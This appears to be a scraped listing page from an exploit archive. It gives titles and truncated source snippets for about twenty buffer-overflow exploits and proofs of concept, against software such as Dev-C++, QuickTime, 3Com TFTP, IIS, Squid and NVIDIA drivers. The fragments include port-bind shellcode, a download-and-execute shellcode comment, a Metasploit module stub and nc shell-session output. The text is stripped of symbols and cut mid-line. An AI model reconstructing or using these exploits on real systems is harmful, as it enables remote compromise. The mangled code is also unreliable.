CVE-2007-1387

The DirectShow loader loader/dshow/DSVideoDecoder.c in MPlayer 1.0rc1 and earlier, as used in xine-lib, does not set the biSize before use in a memcpy, which allows user-assisted remote attackers to cause a buffer overflow and possibly execute arbitrary code, a different vulnerability than...

PHP 4.4.6 snmpget() object id Local Buffer Overflow Exploit PoC

Exploit for unknown platform in category local exploits =============================================================== PHP 4.4.6 snmpget object id Local Buffer Overflow Exploit PoC =============================================================== 0day.today 2017-12-31...

Exploits Dev-C++ 4.9.9.2 Stack Overflow

No description provided by source. !/usr/bin/env python print "--------------------------------------------------------------" print "Dev-C++ 4.9.9.2 Stack Overflow" print "url: http://www.bloodshed.net/" print "author: shinnai" print "mail: shinnaiatautisticidotorg" print "site:...

devc4992.py.txt

!/usr/bin/env python print "--------------------------------------------------------------" print "Dev-C++ 4.9.9.2 Stack Overflow" print "url: http://www.bloodshed.net/" print "author: shinnai" print "mail: shinnaiatautisticidotorg" print "site: http://shinnai.altervista.org" print...

CA BrightStor ARCserve (msgeng.exe) Remote Heap Overflow Exploit

Exploit for unknown platform in category remote exploits ================================================================ CA BrightStor ARCserve msgeng.exe Remote Heap Overflow Exploit ================================================================ !/usr/bin/python I couldnt find a reliable...

Intel Centrino ipw2200BG - Wireless Driver Remote Overflow

Intel Centrino ipw2200BG - Wireless Driver Remote Overflow / This is a PoC exploit for Intel Centrino ipw2200 integrated wireless card. Author: Giuseppe Gottardi aka oveRet Senior Security Engineer at Communication Valley S.p.A. This version of code is only a Proof of Concept stack based exploit...

GNU/Linux mbse-bbs 0.70.0 - Local Buffer Overflow

/ GNU/Linux mbse-bbs 0.70.0 & below stack overflow exploit ======================================================== Multiple overflow conditions occur within mbse-bbs versions 0.70.0 & below. The current version of mbse-bbs does not contain these weaknesses. Exploitation of these vulnerabilities...

Apple QuickTime (Windows 2000) - 'rtsp URL Handler' Remote Buffer Overflow

!/usr/bin/python Port bind exploit for apple quicktime rtsp vulnerability Tested on windows 2000 SP0 and SP4 with quicktime 7.1.3.100. Should be easy to port the exploit to others. All one needs to do is look for the appropriate jump address. Certain characters are not permitted in the shellcode...

3Com TFTP Service (3CTftpSvc) 2.0.1 - 'Long Transporting Mode' Remote Overflow

3comtftpdxpsp2.rb Copyright C cthulhu This is a poc intended to exploit the 3Com TFTP Service version 2.0.1 long transporting mode buffer overflow under xp sp2 english Vulnerability discovered by Liu Qixu Usage : ruby 3comftpdxpsp2.rb Default port is 69 if not specified require 'socket' win32bind...

3CTftpSvc <= 2.0.1 (Long Transporting Mode) Buffer Overflow PoC

No description provided by source. !/usr/bin/python Buffer Overflow Long transporting mode Vulnerability Exploit This is just a DoS exploiting code Tested on Windows xp SP2 Requires python and impacket Coded by Liu Qixu Of NCNIPC SUMMARY: 3CTftpSvc TFTP Server is a Freeware TFTP server for Window...

XMPlay 3.3.0.4 - '.ASX' Filename Local Buffer Overflow

/ =================================================================== 0-day XMPlay 3.3.0.4 .ASX Filename Buffer Overflow Exploit =================================================================== XMPlay 3.3.0.4 and lower experiance a stack-based buffer overflow when loading malformed .ASX files...

XMPlay 3.3.0.4 (M3U Filename) Local Buffer Overflow Exploit

Exploit for unknown platform in category local exploits =========================================================== XMPlay 3.3.0.4 M3U Filename Local Buffer Overflow Exploit =========================================================== /...

Broadcom Wireless Driver Probe Response SSID Overflow Exploit (meta)

No description provided by source. require 'msf/core' module Msf class Exploits::Windows::Driver::BroadcomWiFiSSID Msf::Exploit::Remote include Exploit::Lorcon include Exploit::KernelMode def initializeinfo = superupdateinfoinfo, 'Name' = 'Broadcom Wireless Driver Probe Response SSID Overflow',...

AIX 4.2 /usr/dt/bin/dtterm Local Buffer Overflow Exploit

No description provided by source. include stdio.h include stdlib.h include string.h char prog100="/usr/dt/bin/dtterm"; char prog230="dtterm"; extern int execv; char createvarchar name,char value char c; int l; l=strlenname+strlenvalue+4; if ! c=mallocl perror"error allocating";exit2;;...

MS Windows XP (explorer.exe) Buffer Overflow Exploit

No description provided by source. include fstream.h include string.h include stdio.h include windows.h include direct.h char shellcode= //download url and exec shellcode //doesn't have any hardcoded values //except the base address of the program //searches the import table for //LoadLibraryA,...

Squid 2.4.1 Remote Buffer Overflow Exploit

No description provided by source. / 7350squish - x86/linux squid remote exploit TESO CONFIDENTIAL - SOURCE MATERIALS This is unpublished proprietary source code of TESO Security. The contents of these coded instructions, statements and computer programs may not be disclosed to third parties,...

MS Windows 2000 sp1/sp2 isapi .printer Extension Overflow Exploit (2)

No description provided by source. / IIS 5 remote .printer overflow. "jill.c" don't ask. by: dark spyrit [email protected] respect to eeye for finding this one - nice work. shouts to halvar, neofight and the beavuh bitchez. this exploit overwrites an exception frame to control eip and get to our...

Ability Server <= 2.34 (STOR) Remote Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ============================================================ Ability Server ability-2.34-ftp-stor.py D:\data\toolsnc -v 127.0.0.1 4444 localhost 127.0.0.1 4444 ? open Microsoft Windows XP Version 5.1.2600 C Copyright 1985-2001 Microsoft Cor...

NVIDIA Graphics Driver <= 8774 Local Buffer Overflow Exploit

Exploit for linux platform in category local exploits ============================================================ NVIDIA Graphics Driver include include include include int done = 0; unsigned long blackpixel; / This exploit takes two arguments: o The lowest address past X's heap. o X's dat...

Dr.Web Antivirus 4.33 (LHA long directory name) Local Overflow Exploit

Exploit for linux platform in category local exploits ====================================================================== Dr.Web Antivirus 4.33 LHA long directory name Local Overflow Exploit ====================================================================== / stetoscope.c: Dr.Web 4.33...